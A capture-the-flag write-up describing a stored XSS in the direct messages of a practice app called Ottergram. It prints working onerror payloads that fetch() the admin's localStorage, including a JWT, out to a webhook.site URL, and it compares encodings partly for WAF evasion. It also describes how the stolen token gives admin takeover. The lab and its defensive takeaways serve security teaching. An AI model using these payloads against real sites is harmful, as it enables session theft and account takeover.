Overview
Ottergram is a social media platform similar to Instagram, featuring user profiles, photo uploads, comments, likes, and a direct messaging system. The messaging feature uses Socket.IO (WebSocket) for real-time notifications and message previews. The vulnerability is a Stored XSS in direct messages that allows exfiltrating the admin's localStorage, which contains the flag.
Hint: XSS. What you're looking for is in the target's Local Storage.
Reconnaissance
User Registration and Enumeration
After registering an account (tester1), I queried the API for existing users:
fetch("/api/users", {
headers: {
"Authorization": "Bearer " + window.socket.auth.token,
"Accept": "application/json"
}
}).then(r => r.json()).then(d => console.log(JSON.stringify(d)));Response:
[
{"id": 1, "username": "otter_lover", "profile_picture": "/uploads/otter1.png"},
{"id": 2, "username": "admin", "profile_picture": "/uploads/otter2.png"},
{"id": 3, "username": "sea_otter_fan", "profile_picture": "/uploads/otter3.png"},
{"id": 4, "username": "tester1", "profile_picture": null},
{"id": 5, "username": "hacker1", "profile_picture": null}
]The admin account (id: 2) is our target.
WebSocket Analysis
The app uses Socket.IO for real-time features. Inspecting the frontend JS (main.dd5901b1.js), the relevant socket events are:
new-message— server notifies you when someone sends a DMpreview-message— client emits this to request a message previewmessage-preview— server responds with the message contentnew-like,new-comment— other notification events
The authentication happens via the auth parameter during the Socket.IO handshake:
io(URL, {
auth: { token: localStorage.getItem("token") }
});Message Preview Flow (Source Code)
From the minified JS, the toast preview button works like this:
// When "Preview" button is clicked on a notification toast:
window.socket.emit("preview-message", messageId);
// Server responds on a different event:
window.socket.on("message-preview", (data) => {
// data.messageId, data.preview
});Key finding: the message preview content is rendered directly into the DOM without sanitization.
API Endpoints
Extracted from the frontend JS:
/api/login, /api/register, /api/verify-token
/api/users, /api/profile, /api/profile/:id
/api/posts, /api/posts/:id
/api/messages, /api/messages/inbox, /api/messages/:id
/api/admin, /api/admin/users, /api/admin/posts, /api/admin/comments, /api/admin/analyticsThe messaging endpoint accepts POST requests:
POST /api/messages
Body: { "recipient_id": <int>, "content": "<string>" }Exploitation
Step 1: Register Two Accounts
I registered two accounts:
tester1(id: 4) — the attacker accounthacker1(id: 5) — secondary account for testing
Step 2: Confirm XSS in Messages
First, I tested if HTML is rendered in message previews by sending a message from hacker1 to tester1:
fetch("/api/messages", {
method: "POST",
headers: {
"Authorization": "Bearer " + window.socket.auth.token,
"Content-Type": "application/json"
},
body: JSON.stringify({
recipient_id: 4,
content: '<img src=x onerror="alert(1)">'
})
}).then(r => r.json()).then(d => console.log(d));When tester1 previewed the message, the XSS fired — confirming Stored XSS in the message preview functionality.
Step 3: Set Up Exfiltration
I opened webhook.site and copied my unique webhook URL.
Step 4: Send XSS Payload to Admin
From the tester1 console, I sent a crafted message to the admin (id: 2):
fetch("/api/messages", {
method: "POST",
headers: {
"Authorization": "Bearer " + window.socket.auth.token,
"Content-Type": "application/json"
},
body: JSON.stringify({
recipient_id: 2,
content: '<img src=x onerror="fetch(\\'<https://webhook.site/YOUR-UUID?d=\\'+btoa(JSON.stringify(localStorage)))">'>
})
}).then(r => r.json()).then(d => console.log("SENT:", d));Response: { id: 16, message: "Message sent successfully" }
Step 5: Receive the Flag
The admin bot automatically previewed the incoming message, triggering the XSS payload. Within seconds, a request arrived at my webhook with the d parameter containing a Base64-encoded string.
Decoding it:
{
"flag": "bug{21mhoc4xHAPxFD7ysV87yjXsrCiiRFQl}",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"user": "{\\"id\\":2,\\"username\\":\\"admin\\",\\"email\\":\\"admin@ottergram.com\\",\\"full_name\\":\\"Admin User\\",\\"bio\\":\\"Ottergram Administrator\\",\\"profile_picture\\":\\"/uploads/otter2.png\\",\\"role\\":\\"admin\\"}"
}Flag: bug{21mhoc4xHAPxFD7ysV87yjXsrCiiRFQl}
Why the XSS Payload Works
The <img src=x onerror="..."> payload is effective because:
src=x— the image source is invalid, guaranteeing theonerrorhandler firesonerror— executes JavaScript when the image fails to loadbtoa(JSON.stringify(localStorage))— serializes the entire localStorage to Base64, ensuring special characters don't break the URLfetch()— sends the data to an external webhook as a GET request parameter
The message content is inserted into the DOM without sanitization when the admin bot calls preview-message via Socket.IO, making this a Stored XSS attack.
Data Encoding for Exfiltration: btoa vs encodeURIComponent
When exfiltrating data via URL parameters, you cannot use JSON.stringify() directly because the output contains ", {, }, and : which are invalid in URLs. The fetch() will fail silently in the browser — no request is sent at all, and the webhook receives nothing.
There are two common solutions:
btoa() — Base64 encoding
<img src=x onerror="fetch('<https://webhook.site/UUID?d='+btoa(JSON.stringify(localStorage)>))">The webhook receives:
?d=eyJmbGFnIjoiYnVnezIxbWhvYzR4SEFQeEZEN3lzVjg3eWpYc3JDaWlSRlFsfSIsInRva2Vu...You need to decode it manually (atob() in console, or CyberChef).
encodeURIComponent() — URL encoding
<img src=x onerror="fetch('<https://webhook.site/UUID?d='+encodeURIComponent(JSON.stringify(localStorage)>))">The webhook receives:
?d=%7B%22flag%22%3A%22bug%7B21mhoc4x...%22%7DMost webhook tools auto-decode %XX, so you see the data in clear text without extra steps.
Comparison
btoa encodeURIComponent Payload length Shorter (4 chars) Longer (21 chars) Output readability Requires decoding Readable directly WAF evasion Better — output looks like harmless text Worse — % patterns can trigger filters CTF convention More common in writeups Less common Data integrity Reliable for any binary/unicode data Can fail with certain unicode characters
Recommendation: Use btoa() as default for CTFs. Use encodeURIComponent() when you want to quickly read the output without decoding. Never use raw JSON.stringify() directly in a URL — the request will silently fail.
Bonus: Admin JWT and Full Takeover
The exfiltrated data also included the admin's JWT token, which could be used for full account takeover:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...With this token, an attacker could access all admin endpoints (/api/admin/*), manage users, delete posts, and read all private messages.
Key Takeaways
- Socket.IO emit/receive events can have different names. The client emits
preview-messagebut the server responds onmessage-preview. Always usesocket.onAny()to discover all events. - Message preview rendering without sanitization is a classic XSS vector. Any user-generated content that gets rendered as HTML (especially via innerHTML or dangerouslySetInnerHTML) must be sanitized.
- localStorage is a high-value target. Storing flags, JWT tokens, and user data in localStorage makes XSS particularly dangerous — a single injection can exfiltrate everything.
- Admin bots in CTFs simulate real-world scenarios where an admin views user-submitted content (support tickets, messages, reports). In production, this same attack could steal session tokens and lead to account takeover.
- Always encode data before exfiltrating via URL. Raw
JSON.stringify()in URL parameters will cause thefetch()to fail silently — the browser won't even send the request. Usebtoa()(shorter, more common in CTFs) orencodeURIComponent()(readable without decoding) to ensure the data arrives intact.
Tools Used
- Firefox DevTools (Network > WS tab, Console)
- Burp Suite Community Edition
- webhook.site
- python-socketio (for initial connection testing)